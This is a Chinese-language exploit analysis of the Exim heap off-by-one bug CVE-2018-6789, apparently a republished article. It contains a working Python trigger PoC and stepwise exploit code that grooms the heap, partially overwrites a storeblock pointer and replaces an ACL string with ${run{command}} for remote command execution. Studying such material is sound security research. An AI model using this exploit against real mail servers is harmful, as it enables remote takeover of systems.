您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關如何進行Exim Off-by-One RCE漏洞利用分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
2018年2月,流行的開源郵件服務器Exim曝出了堆溢出漏洞(CVE-2018-6789),幾乎影響了4.90.1之前的所有版本。
該漏洞的發現者—臺灣安全研究員Meh在博客上提供了利用該漏洞進行遠程代碼執行的思路,在推特中也表明了最終繞過各種緩解措施成功達成遠程代碼執行:
目前Meh并未公開該漏洞利用代碼,華為未然實驗室安全研究員skysider基于Meh的思路在實驗環境下成功實現了遠程命令執行,相關的漏洞環境和利用代碼請訪問:https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
漏洞的成因是b64decode函數在對不規范的base64編碼過的數據進行解碼時可能會溢出堆上的一個字節,比較經典的off-by-one漏洞。
存在漏洞的b64decode函數部分代碼如下:
b64decode(const uschar *code, uschar **ptr) { int x, y; uschar *result = store_get(3*(Ustrlen(code)/4) + 1); *ptr = result; /* Each cycle of the loop handles a quantum of 4 input bytes. For the last quantum this may decode to 1, 2, or 3 output bytes. */ ...... }
這段代碼解碼base64的邏輯是把4個字節當做一組,4個字節解碼成3個字節,但是當最后余3個字節(即len(code)=4n+3)時,會解碼成2個字節,解碼后的總長度為 3n+2 字節,而分配的堆空間的大小為3n+1 ,因此就會發生堆溢出。當然,官方給出的修補方案也很簡單,多分配幾個字節就可以了。
Meh博客中漏洞測試的exim版本是直接通過apt安裝的,但是由于debian官方已經修復了倉庫中exim的漏洞,可以通過查看軟件包源碼的patch信息確認:
root@skysider:~/poc/exim4-4.86.2# apt-get source exim4 ...... dpkg-source: info: applying 93_CVE-2017-1000368.patch dpkg-source: info: applying fix_smtp_banner.patch dpkg-source: info: applying CVE-2016-9963.patch dpkg-source: info: applying CVE-2018-6789.patch
我們選擇下載早期版本的源代碼進行編譯安裝:
sudo apt-get build-dep exim4 wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz
在編譯過程中要安裝一些依賴庫,還需要修改Makefile、新建用戶、配置日志文件的權限等,可以參考Dockerfile 的安裝過程。
exim可以在運行時指定配置文件,為了觸發漏洞以及命令執行,需要配置CRAM-MD5 authenticator以及設置acl_smtp_mail等,配置文件如下:
acl_smtp_mail=acl_check_mail acl_smtp_data=acl_check_data begin acl acl_check_mail: .ifdef CHECK_MAIL_HELO_ISSUED deny message = no HELO given before MAIL command condition = ${if def:sender_helo_name {no}{yes}} .endif accept acl_check_data: accept begin authenticators fixed_cram: driver = cram_md5 public_name = CRAM-MD5 server_secret = ${if eq{$auth2}{ph20}{secret}fail} server_set_id = $auth2
以調試模式啟動exim服務:
exim -bd -d-receive -C conf.conf
也可以直接使用docker來驗證該漏洞(上面的命令為默認啟動命令):
docker run -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789
我們使用一個簡單的poc來觸發漏洞,poc代碼如下:
#!/usr/bin/python # -*- coding: utf-8 -*- import smtplib from base64 import b64encode print "this poc is tested in exim 4.89 x64 bit with cram-md5 authenticators" ip_address = raw_input("input ip address: ") s = smtplib.SMTP(ip_address) #s.set_debuglevel(1) # 1. put a huge chunk into unsorted bin s.ehlo("mmmm"+"b"*0x1500) # 0x2020 # 2. send base64 data and trigger off-by-one #raw_input("overwrite one byte of next chunk") s.docmd("AUTH CRAM-MD5") payload = "d"*(0x2008-1) try: s.docmd(b64encode(payload)+b64encode('\xf1\xf1')[:-1]) s.quit() except smtplib.SMTPServerDisconnected: print "[!] exim server seems to be vulnerable to CVE-2018-6789."
當執行這段代碼時,會觸發內存錯誤
在這個過程中,堆的主要變化如下:
我們可以去觀察錯誤之前的堆,attach到子進程,下圖是發送ehlo消息之后的堆:
發送Auth數據之后,我們可以看一下執行完b64decode函數之后的堆:
圖中圈出來的兩個字節正是我們發送的Auth數據解碼出來的最后兩個字節,最后一個字節0xf1修改了下一個塊的大小,使得原本應該是0x4040(0x6060-0x2020)的unsorted 空閑塊變成了0x40f0,通過查看該空閑塊緊鄰的下一個堆塊可以確認當前unsorted bin的空閑塊大小是被修改了,因此當從該空閑塊分配空間時,malloc函數會檢查該空閑塊的大小 0x40f0 (低字節的低3位是標志位)與緊鄰的下一個堆塊標記的前一個堆塊的大小 0x4040 是否相等,若不相等,就會觸發內存錯誤。
exim在libc提供的堆管理機制的基礎上實現了一套自己的管理堆塊的方法,引入了store pool、store block的概念。store pool是一個單鏈表結構,每一個節點都是一個store block,每個store block的數據大小至少為0x2000,storeblock的結構如下:
/* Structure describing the beginning of each big block. */ typedef struct storeblock { struct storeblock *next; size_t length; } storeblock;
下圖展示了一個storepool的完整的數據存儲方式,chainbase是頭結點,指向第一個storeblock,current_block是尾節點,指向鏈表中的最后一個節點。store_last_get指向current_block中最后分配的空間,next_yield指向下一次要分配空間時的起始位置,yield_length則表示當前store_block中剩余的可分配字節數。當current_block中的剩余字節數(yield_length)小于請求分配的字節數時,會調用malloc分配一個新的storeblock塊,然后從該storeblock中分配需要的空間。更多關于exim內存管理機制可以查看store.c。
整體的漏洞利用思路參考漏洞發現者Meh的博客,通過覆蓋acl字符串為 ${run{command}} 的方式,達到遠程命令執行的目的。因為不同的配置和啟動參數可能會導致exim服務在啟動運行過程中堆棧布局存在差異,因此本漏洞利用腳本僅在給定的環境中測試生效。
下面是漏洞利用的詳細步驟:
ehlo(s, "a"*0x1000) # 0x2020 ehlo(s, "a"*0x20)
形成一塊大小為0x7040的空閑堆塊
從unsorted bin分配內存空間
docmd(s, "\xee"*0x700)
發送的unknown command 的大小要滿足 yield_length < (length + nonprintcount * 3 + 1) ,從而使得發送的unknown command能夠調用malloc函數分配一個新的storeblock。
ehlo(s, "c"*0x2c00)
在回收unknown command占用的內存空間時,由于之前的sender_host_name占用的內存空間已經釋放,會發生合并,形成大小為0x2050的空閑塊
payload = "d"*(0x2020+0x30-0x18-1) docmd(s, b64encode(payload)+b64encode("\xf1\xf1")[:-1])
payload2 = 'm'*0x70+p64(0x1f41) # modify fake size docmd(s, b64encode(payload2))
同時為了不釋放其他storeblock,發送包含無效字符的信息
ehlo(s, "skysider+")
修改overlapped所在storeblock的next指針,令其指向acl字符串所在的storeblock
payload3 = 'a'*0x2bf0 + p64(0) + p64(0x2021) + p8(0x80) try_addr = p16(try_addr*0x10+4) # to change docmd(s, b64encode(payload3)+b64encode(try_addr)[:-1])
由于地址隨機化,acl所在的storeblock高位字節未知(在docker環境下,低12bit為0x480不變),但是原始的next指針指向的storeblock與要修改的storeblock高位字節相同,僅低位3字節不同,因此可以采用局部overwrite,只需要爆破12bit即可。
ehlo(s, "released")
此時unsorted bin表中存在多個空閑塊,如下圖所示,其中框出來的空閑塊就是包含acl的storeblock
payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40) payload4 += 't'*(0x1f80-len(payload4)) auth(s, b64encode(payload4)+'ee') payload5 = "a"*0x78 + "${run{" + command + "}}\x00" auth(s, b64encode(payload5)+"ee")
發送第一個auth消息之后,unsorted bin表如下圖所示
接著再分配合適的空間時,就可以獲取目標storeblock所在的堆塊,覆蓋其中的acl字符串
s.sendline("MAIL FROM: <test@163.com>")
至此就可以遠程執行命令,完整的漏洞利用腳本見exp.py ,效果如下:
看完上述內容,你們對如何進行Exim Off-by-One RCE漏洞利用分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。